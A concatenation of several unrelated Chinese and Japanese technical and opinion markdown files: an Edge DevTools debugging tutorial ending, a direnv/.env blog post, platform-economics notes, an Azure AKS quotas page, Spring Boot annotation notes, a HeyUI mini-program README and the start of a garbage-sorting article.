1. 选择 `Control` + `S` \ (Windows、Linux \ ) 或 `Command` + `S` \ (macOS \ ) 保存您的更改。
1. 选择 " **停用断点** \ (![ 停用断点 ][ImageDeactivateIcon] \ ) "。 它将更改为蓝色，以指示它处于活动状态。 设置此设置时，DevTools 忽略你设置的任何断点。
1. 试用具有不同值的演示。 演示现在能够正确计算。
> [!CAUTION]
> 此工作流仅将修补程序应用于浏览器中运行的代码。 它不会修复访问您的页面的所有用户的代码。 若要执行此操作，您需要修复服务器上的代码。
## 后续步骤
恭喜你！ 你现在知道如何在调试 JavaScript 时充分利用 Microsoft Edge DevTools。 您在本教程中学到的工具和方法可能会为您节省无数小时。
本教程仅介绍两种设置断点的方法。 DevTools 提供了许多其他方法，包括以下设置。
* 仅当你提供的条件为 true 时才触发的条件断点。
* 已捕获或未捕获的异常上的断点。
* 当请求的 URL 与你提供的子字符串匹配时触发的 XHR 断点。
有关何时以及如何使用每种类型的详细信息，请转到 [使用断点暂停代码][DevtoolsJavscriptBreakpoints]。
本教程中有一些代码步进控件未介绍。 有关详细信息，请转到 [代码行][DevtoolsJavascriptReferenceStepThroughCode]。
## 与 Microsoft Edge 开发人员工具团队联系
[!INCLUDE [contact DevTools team note](../includes/contact-devtools-team-note.md)]
<!-- image links -->
[ImageAddIcon]: ../media/add-expression-icon.msft.png
[ImageDeactivateIcon]: ../media/deactivate-breakpoints-button-icon.msft.png
[ImageExpandIcon]: ../media/expand-icon.msft.png
[ImageIntoIcon]: ../media/step-into-icon.msft.png
[ImageOverIcon]: ../media/step-over-icon.msft.png
[ImageResumeIcon]: ../media/resume-script-run-icon.msft.png
<!-- links -->
[DevtoolsJavscriptBreakpoints]: ./breakpoints.md "如何在 Microsoft Edge DevTools 中暂停带有断点的代码 |Microsoft 文档"
[DevtoolsJavascriptReferenceStepThroughCode]: ./reference.md#step-through-code "逐句通过代码-JavaScript 调试参考 |Microsoft 文档"
<!--[inPrivate]: https://support.alphabet.com/alphabet-browser/answer/95464 -->
[OpenDebugJSDemo]: https://microsoft-edge-chromium-devtools.glitch.me/debug-js/get-started.html "打开演示 |故障"
> [!NOTE]
> 此页面的某些部分是根据 [Google 创建和共享的][GoogleSitePolicies]作品所做的修改，并根据[ Creative Commons Attribution 4.0 International License ][CCA4IL]中描述的条款使用。
> 原始页面位于[此处](https://developers.google.com/web/tools/chrome-devtools/javascript/index)，由 [Kayce Basques][KayceBasques]\（Chrome DevTools \& Lighthouse 的技术作家\）撰写。
[![Creative Commons License][CCby4Image]][CCA4IL]
本作品根据[ Creative Commons Attribution 4.0 International License ][CCA4IL]获得许可。
[CCA4IL]: https://creativecommons.org/licenses/by/4.0
[CCby4Image]: https://i.creativecommons.org/l/by/4.0/88x31.png
[GoogleSitePolicies]: https://developers.google.com/terms/site-policies
[KayceBasques]: https://developers.google.com/web/resources/contributors/kaycebasques | 11,169 | CC-BY-4.0 |
---
title: "direnvを使うときは環境変数を.envrcに書くより.envに書いた方が使い勝手が良い"
date: 2019-04-25T18:47:48+09:00
draft: false
description: ローカル開発時に環境変数を設定するためにdirenvを使っていますが、.envを使うことで環境変数の設定が楽になりました。
categories:
- 開発
tags:
- direnv
- 環境変数
- OSS
share: true
---
こんにちは、[@p1ass](https://twitter.com/p1ass)です。
自分はローカル開発時に、環境変数を設定するために direnv を使っています。
その際に、環境変数を`.envrc`に書くより、`.env`に書いた方が諸々の使い勝手が良いと感じたので紹介します。
### tl;dr
- `.env`は汎用性が高いので様々な用途で使い回せる。
- `.envrc`に`dotenv`と記述するだけで、自動的に`.env`ファイルを読み込んでくれるので楽。
<!--more-->
## そもそも direnv とは
direnv はディレクトリごとに環境変数を設定することができるツールです。
`.zshrc`などに`eval "$(direnv hook zsh)"`と書くことで、カレントディレクトリに存在する`.envrc`に書かれたスクリプトを実行してくれます。
{{<ex-link url="https://github.com/direnv/direnv" >}}
例えば、次のように`.envrc`を記述することで、`HOGE`という環境変数を設定することができます。
```bash
export HOGE=hogehoge
```
これが direnv の README に書かれている使い方です。
## direnv で`.env`を読み込む
さて、環境変数をファイルで管理する際に、次のような書式で書かれた`.env`ファイルが使われることがあります。
```bash
HOGE=hogehoge
FUGA=fugafuga
```
`.envrc`と違って`export`は書かず、単に`KEY=VALUE`という形になっています。
direnv では`.envrc`を以下のように記述することで、 **`.env`ファイルを読み込むことができる** うになります。
```bash
dotenv
```
## `.env`に書くことで何が嬉しいのか
`.env`は汎用性が高いフォーマットであり、様々な場面で流用することができます。
1 つ目の例として、docker-compose が挙げられます。
docker-compose は以下のように書くことで、コンテナ内に環境変数を流し込むことができます。
その際のフォーマットが`.env`と一致しています。
```yaml
version: "3"
services:
hoge:
image: python
restart: always
env_file: .env
```
これにより、「ずっとコンテナ内で開発してたけど、ローカルで試したいな」と思った時に、(少なくとも環境変数は)楽に移行できます。
2 つ目は、エディターのエクステンションと相性が良い点です。
私は **JetBrains 製の IDE を愛している人間** のですが、IDE でコンパイル・実行するときに`direnv`のフックを発火してくれません。
そのため、環境変数は別の手段で読み込む必要があります。
幸いにも JetBrains Plugins には、`.env`ファイルを読み込んでくれるプラグインがあるため、正しく環境変数を読み込むことができます。
{{<ex-link url="https://plugins.jetbrains.com/plugin/9525--env-files-support" >}}
{{<ex-link url="https://plugins.jetbrains.com/plugin/7861-envfile" >}}
このように`.env`に環境変数の設定をまとめることで、いい感じに色々な場面で使い回すことができます。
同じ環境変数を複数箇所で書いていた方は一度試してみてはどうでしょうか？ | 1,892 | MIT |
---
layout: page
title: 平台经济理解及对个人PS的启示
date: 2021-05-22
excerpt_separator: "<!--more-->"
categories:
- 个人策展
---
## 概念
平台经济，英文为Platform Economics，是指虚拟或真实交易场所的平台本身不生产产品，但可以促成双方或多方供求之间的交易，收取恰当的费用或赚取差价而获得收益的一种商业模式
<!--more-->
平台经济是推动经济转型发展的重要引擎。从微观角度看，平阿提具有交流或交易的媒介功能、信息服务功能、产业组织功能和利益协调功能。从宏观角度看，平台经济的发展具有推动产业持续创新、引领新兴经济增长、加快制造业服务化转型和变革工作生活方式等作用，是一种重要的产业形势。
## 平台经济的特征
作为新经济时代越来越重要的一种产业组织形式，平台经济具有以下特质：
* 平台经济是一个双边或多边市场，一遍面对消费者，一边面对商家。
* 平台经济具有增值性，平台型企业要能为消费者和商家提供获得收益的服务。
* 平台经济具有网络外部性，在网络外部性下，强者可以掌握全局，赢者通吃，而弱者智能被淘汰。
* 平台经济具有开放特性，平台需要吸引各种资源的加入，则平台需要对外开放。
## 系统思维
系统思维就是把认识对象座位系统，从系统和要素、要素和要素、系统和环境的相互联系、互相作用中观察对象的一种思维方式。
系统思维是原则性与灵活性有机结合的基本思维方式。只有系统思维，才能抓住整体，抓住要害，才能不失原则地采取灵活有效的方法处置事务。
## 系统思维的方法
#### 整体法
整体法是在分析和处理问题的过程中，始终从整体来考虑，把整体放在第一位，而不是让任何部分的东西凌驾于整体至上。
#### 结构法
进行系统思维时，注意系统内部结构的合理性。系统由各部分组成，部分与部分之间的组合是否合理，对系统有很大影响。
#### 要素法
每个系统都由各种各样的因素构成，其中相对具有重要意义的因素称之为构成要素。要使整个系统正常运转并发挥最好的作用或者处于最佳状态，必须对各要素考虑周全和充分，充分发挥各要素的作用。
#### 功能法
功能法是指为了使一个系统呈现出最佳态势，从大局出发来调整或是改变系统内部各部分的功能与作用。
## 基于个人PS商业模式画布的平台经济
#### 个人PS-商业模式画布中的客户群体
个人商业画布中的客户群体是app公司以及使用app的用户。平台经济下的核心服务群体，通过提高公司app的交互体验，提高用户交互体验，从而提高用户留存率，形成良性的商业循环。
#### 个人PS-商业模式画布中的价值主张/服务
个人商业画布中的价值主张/服务是提高用户交互体验，帮助交互流程更新迭代。通过提高用户体验，根据用户痛点修改交互流程，能够吸引更多的用户加入到产品使用，从而形成不断吸引新用户的良性循环。
#### 个人PS-商业模式画布中的业务
个人商业画布中的业务是交互流程设计绘画以及用户需求挖掘分析。通过设计精妙的交互流程体验，不断吸引新的用户进入平台，从而形成良性循环。 | 1,393 | MIT |
---
title: Azure Kubernetes Service (AKS) のクォータとリージョンの可用性
description: Azure Kubernetes Service (AKS) の既定のクォータとリージョンの可用性。
services: container-service
author: neilpeterson
manager: jeconnoc
ms.service: container-service
ms.topic: overview
ms.date: 04/26/2018
ms.author: nepeters
ms.openlocfilehash: adf2d57961df9a4e8d03f2b3fe43ca0603685eb2
ms.sourcegitcommit: d98d99567d0383bb8d7cbe2d767ec15ebf2daeb2
ms.translationtype: HT
ms.contentlocale: ja-JP
ms.lasthandoff: 05/10/2018
---
# <a name="quotas-and-region-availability-for-azure-kubernetes-service-aks"></a>Azure Kubernetes Service (AKS) のクォータとリージョンの可用性
すべての Azure サービスには、リソースと機能に対する特定の既定の制限とクォータが含まれます。 次のセクションでは、いくつかの Azure Kubernetes Service (AKS) リソースに対する既定のリソースの制限と、Azure リージョンでの AKS サービスの可用性について詳しく説明します。
## <a name="service-quotas-and-limits"></a>サービスのクォータと制限
[!INCLUDE [container-service-limits](../../includes/container-service-limits.md)]
## <a name="provisioned-infrastructure"></a>プロビジョニングされるインフラストラクチャ
その他のすべてのネットワーク、コンピューティング、およびストレージの制限が、プロビジョニングされるインフラストラクチャに適用されます。 関連する制限については、[Azure サブスクリプションとサービスの制限](../azure-subscription-service-limits.md)に関するページを参照してください。
## <a name="region-availability"></a>利用可能なリージョン
Azure Kubernetes Service (AKS) は、以下のリージョンで、プレビューとして利用できます。
- 米国東部
- 西ヨーロッパ
- 米国中央部
- カナダ中部
- カナダ東部
## <a name="next-steps"></a>次の手順
特定の既定の制限とクォータを増やすことができます。 このような増加に対応する 1 つまたは複数のリソースの増加を要求する場合は、[Azure サポート リクエスト][azure-support]を送信してください (**[問題の種類]** で "クォータ" を選択してください)。
<!-- LINKS - External -->
[azure-support]: https://ms.portal.azure.com/#blade/Microsoft_Azure_Support/HelpAndSupportBlade/newsupportrequest | 1,615 | CC-BY-4.0 |
## Java 必须掌握的 20+ 种 Spring 常用注解
**Spring部分**
**1、声明bean的注解**
> @Component 添加到容器中
>
> @Service 在业务逻辑层使用（service层）
>
> @Repository 在数据访问层使用（dao层）
>
> @Controller 在展现层使用，控制器的声明（C）
**2、注入bean的注解**
> @Autowired：由Spring提供
>
> @Inject：由JSR-330提供
>
> @Resource：由JSR-250提供
都可以注解在set方法和属性上，推荐注解在属性上（一目了然，少写代码）。
**3、java配置类相关注解**
> @Configuration 声明当前类为配置类，相当于xml形式的Spring配置（类上）
>
> @Bean 注解在方法上，声明当前方法的返回值为一个bean，替代xml中的方式（方法上）
>
> @Configuration 声明当前类为配置类，其中内部组合了@Component注解，表明这个类是一个bean（类上）
>
> @ComponentScan 用于对Component进行扫描，相当于xml中的（类上）
>
> @WishlyConfiguration 为@Configuration与@ComponentScan的组合注解，可以替代这两个注解
**4、切面（AOP）相关注解**
Spring支持AspectJ的注解式切面编程。
> @Aspect 声明一个切面（类上）
> 使用@After、@Before、@Around定义建言（advice），可直接将拦截规则（切点）作为参数。
>
> @After 在方法执行之后执行（方法上）
> @Before 在方法执行之前执行（方法上）
> @Around 在方法执行之前与之后执行（方法上）
>
> @PointCut 声明切点
在java配置类中使用@EnableAspectJAutoProxy注解开启Spring对AspectJ代理的支持（类上）
**5、@Bean的属性支持**
> @Scope 设置Spring容器如何新建Bean实例（方法上，得有@Bean）
> 其设置类型包括：
>
> Singleton （单例,一个Spring容器中只有一个bean实例，默认模式）,
> Protetype （每次调用新建一个bean）,
> Request （web项目中，给每个http request新建一个bean）,
> Session （web项目中，给每个http session新建一个bean）,
> GlobalSession（给每一个 global http session新建一个Bean实例）
>
> @StepScope 在Spring Batch中还有涉及
>
> @PostConstruct 由JSR-250提供，在构造函数执行完之后执行，等价于xml配置文件中bean的initMethod
>
> @PreDestory 由JSR-250提供，在Bean销毁之前执行，等价于xml配置文件中bean的destroyMethod
**6、@Value注解**
> @Value 为属性注入值（属性上）
支持如下方式的注入：
》注入普通字符
》注入操作系统属性
》注入表达式结果
》注入其它bean属性
》注入文件资源
》注入网站资源
》注入配置文件
注入配置使用方法
① 编写配置文件（test.properties）
book.name=《三体》
② @PropertySource 加载配置文件(类上)
③ 还需配置一个PropertySourcesPlaceholderConfigurer的bean。
**7、环境切换**
> @Profile 通过设定Environment的ActiveProfiles来设定当前context需要使用的配置环境。（类或方法上）
>
> @Conditional Spring4中可以使用此注解定义条件话的bean，通过实现Condition接口，并重写matches方法，从而决定该bean是否被实例化。（方法上）
**8、异步相关**
> @EnableAsync 配置类中，通过此注解开启对异步任务的支持，叙事性AsyncConfigurer接口（类上）
>
> @Async 在实际执行的bean方法使用该注解来申明其是一个异步任务（方法上或类上所有的方法都将异步，需要@EnableAsync开启异步任务）
**9、定时任务相关**
> @EnableScheduling 在配置类上使用，开启计划任务的支持（类上）
>
> @Scheduled 来申明这是一个任务，包括cron,fixDelay,fixRate等类型（方法上，需先开启计划任务的支持）
**10、@Enable\*注解说明**
这些注解主要用来开启对xxx的支持。
> @EnableAspectJAutoProxy 开启对AspectJ自动代理的支持
>
> @EnableAsync 开启异步方法的支持
>
> @EnableScheduling 开启计划任务的支持
>
> @EnableWebMvc 开启Web MVC的配置支持
>
> @EnableConfigurationProperties 开启对@ConfigurationProperties注解配置Bean的支持
>
> @EnableJpaRepositories 开启对SpringData JPA Repository的支持
>
> @EnableTransactionManagement 开启注解式事务的支持
>
> @EnableTransactionManagement 开启注解式事务的支持
>
> @EnableCaching 开启注解式的缓存支持
**11、测试相关注解**
@RunWith 运行器，Spring中通常用于对JUnit的支持
@ContextConfiguration 用来加载配置ApplicationContext，其中classes属性用来加载配置类
**SpringMVC部分**
> @EnableWebMvc 在配置类中开启Web MVC的配置支持，如一些ViewResolver或者MessageConverter等，若无此句，重写WebMvcConfigurerAdapter方法（用于对SpringMVC的配置）。
>
> @Controller 声明该类为SpringMVC中的Controller
>
> @RequestMapping 用于映射Web请求，包括访问路径和参数（类或方法上）
>
> @ResponseBody 支持将返回值放在response内，而不是一个页面，通常用户返回json数据（返回值旁或方法上）
>
> @RequestBody 允许request的参数在request体中，而不是在直接连接在地址后面。（放在参数前）
>
> @PathVariable 用于接收路径参数，比如@RequestMapping(“/hello/{name}”)申明的路径，将注解放在参数中前，即可获取该值，通常作为Restful的接口实现方法。
>
> @RestController 该注解为一个组合注解，相当于@Controller和@ResponseBody的组合，注解在类上，意味着，该Controller的所有方法都默认加上了@ResponseBody。
>
> @ControllerAdvice 通过该注解，我们可以将对于控制器的全局配置放置在同一个位置，注解了@Controller的类的方法可使用@ExceptionHandler、@InitBinder、@ModelAttribute注解到方法上，
> 这对所有注解了 @RequestMapping的控制器内的方法有效。
>
> @ExceptionHandler 用于全局处理控制器里的异常
>
> @InitBinder 用来设置WebDataBinder，WebDataBinder用来自动绑定前台请求参数到Model中。
>
> @ModelAttribute 本来的作用是绑定键值对到Model里，在@ControllerAdvice中是让全局的@RequestMapping 都能获得在此处设置的键值对。
<br/>
<br/>
## Spring Boot 项目结构
**（1）分层**
- **表示层**：
> controller - 负责页面访问控制，对外暴露Rest API接口。
- **业务层**：
> service / biz：
>
>  服务 contract 是接口；
>
>  impl 是服务实现；
>
> entity：
>
>  实体 vo 是服务可对外公开的实体；
>
>  dto 是数据传输对象，可在服务间传递；
>
>  qo 是查询对象，可以认为是查询条件的封装；
- **持久层**：
> dao ：数据访问对象，选择比较熟悉的 mybatis 作为 ORM 工具；
>
> domain ：数据对象实体 DO，通常和数据表、视图或其他业务对象一一对应；
- **公共模块**：
> common ：公共类，如枚举，常量、业务无关的通用公共实体等；
>
> util ：常用实用的帮助类，如反射、字符串、集合、枚举、正则、缓存、队列等；
>
> config ：自定义的配置项，可从配置文件读取；
**（2）Spring 框架的重要内容**
> IOC : 控制反转
>
> AOP : 面向切面编程
**注** ：Spring Boot 框架封装 spring、spring mvc 等框架之后，使用变得十分简单。
**（3）注解说明**
> @RestController = @Controller + @ResponseBody；
>
>  方法返回 object，会转化为 json 格式；
>
> @RequestBody: 从请求体中获取数据；
>
> @RequestParam: 从请求头中获取数据；
>
>
## 配置文件
```yaml
<!--导入配置文件处理器，配置文件绑定就会有输入提示-->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-configuration-processor</artifactId>
<optional>true</optional>
</dependency>
```
(注意： 配置好了重新启动main)
**application.yml写入配置**
```yaml
server:
port: 8081
person:
lastName: zhangsan
age: 18
boss: false
birth: 2017/12/12
maps: {k1: v1,k2: 12}
lists:
- list
- zhaoliu
dog:
name: 小狗
age: 2
```
**@Component 添加到容器中**
```java
import org.springframework.boot.context.properties.ConfigurationProperties;
import org.springframework.stereotype.Component;
import java.util.Date;
import java.util.List;
import java.util.Map;
import lombok.Data;
@Component
@ConfigurationProperties(prefix = "person")
@Data
public class Person {
private String lastName;
private Integer age;
private Boolean boss;
private Date birth;
private Map<String,Object> maps;
private List<Object> lists;
private Dog dog;
@Override
public String toString() {
return "Person{" +
"lastName='" + lastName + '\'' +
", age=" + age +
", boss=" + boss +
", birth=" + birth +
", maps=" + maps +
", lists=" + lists +
", dog=" + dog +
'}';
}
}
```
## JSR 303 基本的校验规则
**空检查**
> @Null 验证对象是否为null
>
> @NotNull 验证对象是否不为null, 无法查检长度为0的字符串
>
> @NotBlank 检查约束字符串是不是Null还有被Trim的长度是否大于0,只对字符串,且会去掉前后空格.
>
> @NotEmpty 检查约束元素是否为NULL或者是EMPTY.
**Booelan检查**
> @AssertTrue 验证 Boolean 对象是否为 true
>
> @AssertFalse 验证 Boolean 对象是否为 false长度检查
>
> @Size(min=, max=) 验证对象（Array,Collection,Map,String）长度是否在给定的范围之内
>
> @Length(min=, max=) Validates that the annotated string is between min and max included.
**日期检查**
> @Past 验证 Date 和 Calendar 对象是否在当前时间之前，验证成立的话被注释的元素一定是一个过去的日期
>
> @Future 验证 Date 和 Calendar 对象是否在当前时间之后 ，验证成立的话被注释的元素一定是一个将来的日期
>
> @Pattern 验证 String 对象是否符合正则表达式的规则，被注释的元素符合制定的正则表达式，regexp:正则表式 flags: 指定 Pattern.Flag 的数组，表示正则表达式的相关选项。
**数值检查**
建议使用在Stirng,Integer类型，不建议使用在int类型上，因为表单值为“”时无法转换为int，但可以转换为Stirng为”“,Integer为null
> @Min 验证 Number 和 String 对象是否大等于指定的值
>
> @Max 验证 Number 和 String 对象是否小等于指定的值
>
> @DecimalMax 被标注的值必须不大于约束中指定的最大值. 这个约束的参数是一个通过BigDecimal定义的最大值的字符串表示.小数存在精度
>
> @DecimalMin 被标注的值必须不小于约束中指定的最小值. 这个约束的参数是一个通过BigDecimal定义的最小值的字符串表示.小数存在精度
>
> @Digits 验证 Number 和 String 的构成是否合法
>
> @Digits(integer=,fraction=) 验证字符串是否是符合指定格式的数字，interger指定整数精度，fraction指定小数精度。
>
> @Range(min=, max=) 被指定的元素必须在合适的范围内
>
> @Range(min=10000,max=50000,message=”range.bean.wage”)
>
> @Valid 递归的对关联对象进行校验, 如果关联对象是个集合或者数组,那么对其中的元素进行递归校验,如果是一个map,则对其中的值部分进行校验.(是否进行递归验证)
>
> @CreditCardNumber信用卡验证
>
> @Email 验证是否是邮件地址，如果为null,不进行验证，算通过验证。
>
> @ScriptAssert(lang= ,script=, alias=)
>
> @URL(protocol=,host=, port=,regexp=, flags=)
## Spring Dao层@Repository 与 @Mapper
使用注解的方式开发Dao层的时候，常常会混淆这两个注解，不知道怎么添加，这里做个记录。
总结：
1. @Mapper 一定要有，否则 Mybatis 找不到 mapper。
2. @Repository 可有可无，可以消去依赖注入的报错信息。
3. @MapperScan 可以替代 @Mapper。
### (1) @Mapper
**@Mapper 是 Mybatis 的注解，和 Spring 没有关系，@Repository 是 Spring 的注解，用于声明一个 Bean。**（重要）
使用 Mybatis 有 XML 文件或者注解的两种使用方式，如果是使用 XML 文件的方式，我们需要在配置文件中指定 XML 的位置，这里只研究注解开发的方式。
在 Spring 程序中，Mybatis 需要找到对应的 mapper，在编译的时候动态生成代理类，实现数据库查询功能，所以我们需要在接口上添加 @Mapper 注解。
```java
@Mapper
public interface UserDao {
...
}
```
但是，仅仅使用@Mapper注解，我们会发现，在其他变量中依赖注入，IDEA 会提示错误，但是不影响运行（亲测～）。因为我们没有显式标注这是一个 Bean，IDEA 认为运行的时候会找不到实例注入，所以提示我们错误。
尽管这个错误提示并不影响运行，但是看起来很不舒服，所以我们可以在对应的接口上添加 bean 的声明，如下：
```java
@Repository // 也可以使用@Component，效果都是一样的，只是为了声明为bean
@Mapper
public interface UserDao {
@Insert("insert into user(account, password, user_name) " +
"values(#{user.account}, #{user.password}, #{user.name})")
int insertUser(@Param("user") User user) throws RuntimeException;
}
```
### (2) @Repository
正如上面说的，@Repository 用于声明 dao 层的 bean，如果我们要真正地使用 @Repository 来进行开发，那是基于代码的开发，简单来说就是手写 JDBC。
和 @Service、@Controller 一样，我们将 @Repository 添加到对应的实现类上，如下：
```java
@Repository
public class UserDaoImpl implements UserDao{
@Override
public int insertUser(){
JdbcTemplate template = new JdbcTemplate();
...
}
}
```
### (3) 其他扫描手段
基于注解的开发也有其他手段帮助 Mybatis 找到 mapper，那就是 @MapperScan 注解，可以在启动类上添加该注解，自动扫描包路径下的所有接口。
```java
@SpringBootApplication
@MapperScan("com.martinhub.dao")
public class UserEurekaClientApplication {
public static void main(String[] args) {
SpringApplication.run(UserEurekaClientApplication.class, args);
}
}
```
使用这种方法，接口上不用添加任何注解。
### (4) 总结
1. @Mapper 一定要有，否则 Mybatis 找不到 mapper。
2. @Repository 可有可无，可以消去依赖注入的报错信息。
3. @MapperScan 可以替代 @Mapper。
4. Mapper报假红打上@component
## IDEA打开的文件不隐藏全部展示（而不是只显示一行）
- `File > settings > Editor > general > Editor Tabs > appearance > show tabs in one row`这个勾选去掉就可以了
## IDEA开启热部署
<font color='red'>注意：此功能在开发阶段开启，生产环境一定要关闭。</font>
1. Pom.xml文件添加插件：
```xml
<!--热部署：更改代码后，自动重启-->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-devtools</artifactId>
<scope>runtime</scope>
<optional>true</optional>
</dependency>
<build>
<finalName>cloud2021</finalName>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
<version>2.3.1.RELEASE</version>
<configuration>
<fork>true</fork>
<addResources>true</addResources>
</configuration>
</plugin>
</plugins>
</build>
```
2. IDEA设置：
3. 在工程内按住快捷键
`Ctrl + Shift + Alt + /`
出现的选择框：选择Registry。
选择：
4. 重启IDEA
## 一般Maven项目新建后，必做的几个设置
1. 设置编码: UTF-8
2. 设置jdk编译版本
3. 开启注解自动生效
## RestTemplate
> RestTemplate提供了多种便捷访问远程HTTP服务的方法，是一种简单便捷的访问restful服务模板类，是Spring提供的用于访问Rest服务的客户端模板工具集。
**使用：**
使用restTemplate访问restful接口十分简单。
（url, requestMap, ResponseBean.class)这三个参数分别代表REST请求地址、请求参数、HTTP响应转换被转换成的对象类型。
（1） 编写Config，将RestTemplate导入容器
```java
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.client.RestTemplate;
/**
* @Project：cloud2021
* @File: ApplicationContextConfig
* @IDE ：IntelliJ IDEA
* @Author ：MartinHub
* @Date ：2021/3/3 11:10
*/
@Configuration
public class ApplicationContextConfig {
/**
* RestTemplate配置(HttpClient的封装类)
* @return
*/
@Bean
public RestTemplate getRestTemplate() {
return new RestTemplate();
}
}
```
（2）编写Controller
```java
import com.martinhub.entities.CommonResult;
import com.martinhub.entities.Payment;
import lombok.extern.slf4j.Slf4j;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.client.RestTemplate;
import javax.annotation.Resource;
/**
* @Project：cloud2021
* @File: OrderController
* @IDE ：IntelliJ IDEA
* @Author ：MartinHub
* @Date ：2021/3/3 10:47
*/
@RestController
@Slf4j
public class OrderController {
public static final String PAYMENT_URL = "http://localhost:8001";
@Resource
private RestTemplate restTemplate;
@GetMapping("/consumer/payment/create")
public CommonResult<Payment> create(Payment payment){
log.info("******客户端调用远程微服务-创建*********成功！！！！！！！！");
return restTemplate.postForObject(PAYMENT_URL + "/payment/create", payment, CommonResult.class);
}
@GetMapping("/consumer/payment/get/{id}")
public CommonResult<Payment> getPayment(@PathVariable("id") Long id) {
log.info("******客户端调用远程微服务-查询*********成功！！！！！！！！");
return restTemplate.getForObject(PAYMENT_URL + "/payment/get/" + id, CommonResult.class);
}
}
```
## Maven依赖中scope的含义
 scope元素的作用：控制 dependency 元素的使用范围。通俗的讲，就是控制 Jar 包在哪些范围被加载和使用。
 scope具体含义如下：
### compile（默认）
含义：compile 是默认值，如果没有指定 scope 值，该元素的默认值为 compile。被依赖项目需要参与到当前项目的编译，测试，打包，运行等阶段。打包的时候通常会包含被依赖项目。
### provided
含义：被依赖项目理论上可以参与编译、测试、运行等阶段，相当于compile，但是再打包阶段做了exclude的动作。
适用场景：例如， 如果我们在开发一个web 应用，在编译时我们需要依赖 servlet-api.jar，但是在运行时我们不需要该 jar 包，因为这个 jar 包已由应用服务器提供，此时我们需要使用 provided 进行范围修饰。
### runtime
含义：表示被依赖项目无需参与项目的编译，但是会参与到项目的测试和运行。与compile相比，被依赖项目无需参与项目的编译。
适用场景：例如，在编译的时候我们不需要 JDBC API 的 jar 包，而在运行的时候我们才需要 JDBC 驱动包。
### test
含义： 表示被依赖项目仅仅参与测试相关的工作，包括测试代码的编译，执行。
适用场景：例如，Junit 测试。
### system
含义：system 元素与 provided 元素类似，但是被依赖项不会从 maven 仓库中查找，而是从本地系统中获取，systemPath 元素用于制定本地系统中 jar 文件的路径。例如：
```xml
<dependency>
<groupId>org.open</groupId>
<artifactId>open-core</artifactId>
<version>1.5</version>
<scope>system</scope>
<systemPath>${basedir}/WebContent/WEB-INF/lib/open-core.jar</systemPath>
</dependency>
```
### import
它只使用在< dependencyManagement >中，表示从其它的pom中导入dependency的配置，例如 (B项目导入A项目中的包配置)：
想必大家在做 SpringBoot 应用的时候，都会有如下代码：
```xml
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>1.3.3.RELEASE</version>
</parent>
```
<div align="center"> <img src="https://gitee.com/MartinHub/MartinHub-notes/raw/master/images/weixin.png" width="200"/> </div> | 14,950 | MIT |
<p align="center">
<img width="150" class="QR-img" src="https://oss.geekxz.com/hey-ui-oss/logo.jpg">
</p>
<div align="center">
<span><a target="_blank" href="http://heyui.geekxz.com/component/basic/button.html">:memo: 中文文档</a></span>
<span>|</span>
<span><a target="_blank" href="http://heyui.geekxz.com/component/basic/button.html">:computer: 官方教程</a></span>
</div>
<div align="center">
<span>Hey UI, not just an UI component library!</span><br/>
<strong>Hey UI 是基于微信小程序原生语法,实现的CSS UI框架。</strong>
</div>
## 目录
- [目录](#目录)
- [简介](#简介)
- [快速上手](#快速上手)
- [安装](#安装)
- [引入](#引入)
- [讨论交流](#讨论交流)
- [贡献代码](#贡献代码)
- [源码演示](#优秀源码演示)
- [开源协议](#开源协议)
- [赞助](#赞助)
## 简介
Hey UI 是基于微信小程序原生语法,实现的CSS UI框架,面向全层次的小程序开发者,低门槛开箱即用的前端 UI 解决方案.
## 快速上手
直接通过git下载 Hey UI 源代码，并将 src 目录（所有文件夹）拷贝到自己的项目中.
```
git clone https://github.com/geekxzClub/heyui-wechat.git
```
### 安装
1.初始化你的项目
使用微信开发正工具新建项目.
2.按转Hey UI
下载源码解压获得`/template`，复制目录下的 `/heyui`,`/component`,`/libs`,`/static` 文件夹到你的项目根目录.
`App.wxss` 引入关键Css `main.wxss`,`icon.wxss`.
```
/**app.wxss**/
@import "heyui/heyui.main.wxss";
@import "heyui/icon.wxss";
/* 引入主题色 */
@import "heyui/theme.wxss";
@import "app.css"; /* 你的项目css */
....
```
### 引入
1.引入核心的函数库
在`js`中引入 `h-string.js`,`h-array.js`,`h-is.js`
```
import { HString } from '/libs/h-string.js';
import { HArray } from '/libs/h-array.js';
import { HIs } from '/libs/h-is.js';
var Hstring = new HString(); //实例化
....
```
2.使用函数库
```
Hstring.toString()
....
```
至此，Hey UI 已成功引入至你的项目中了！
## 讨论交流
微信群：加入微信群请先添加开发者微信，备注HeyUI。QQ群：689112212 或扫描二维码。
<p align="center">
<img width="800" src="https://oss.geekxz.com/hey-ui-oss/communication_primary.png">
</p>
## 贡献代码
我们的代码基于 develop 分支开发，欢迎提交 Pull Request 进行代码贡献。
在提交 Pull Request 之前，请详细阅读我们的[开发规范](http://heyui.geekxz.com/start/contribute.html)，否则可能因为 Commit 信息不规范等原因被关闭 Pull Request。
## 优秀源码演示
开源不易，需要鼓励。给 HeyUI项目点个 star吧！
HeyUI组件库小程序原生版本，该开源版源码为V1.0.1版本。后续更新更多源码
1.源码展示
|  | |
| ------------ | ------------ |
| 微信小程序 | HeyUI示例 |
2.商城小程序
3.抽奖小程序
4.预约小程序
5.博客小程序
6.投票小程序
7.问卷小程序
## 开源协议
[MIT](LICENSE) © 2021 PP_Team
## 赞助
| 时间 | 名称 | 金额 | 留言 |
| ------------- |:-------------:| :---------:|:-------------|
| 2021-03-01 |李*木 | 50元 |感谢
| 2021-03-01 |李*木 | 20元 |感谢 | 2,571 | MIT |
---
layout: post
title: "强制垃圾分类后，社会如何获得主动权"
date: 2019-07-24
author: 特约作者
from: http://cnpolitics.org/2019/07/opinion-shanghai-garbage-sorting/
tags: [ 政見 ]
categories: [ 政見 ]
---
<div class="post-block">
<h1 class="post-head">
强制垃圾分类后，社会如何获得主动权
</h1>
<p class="post-subhead">
</p>
<p class="post-tag">
</p>
<p class="post-author">
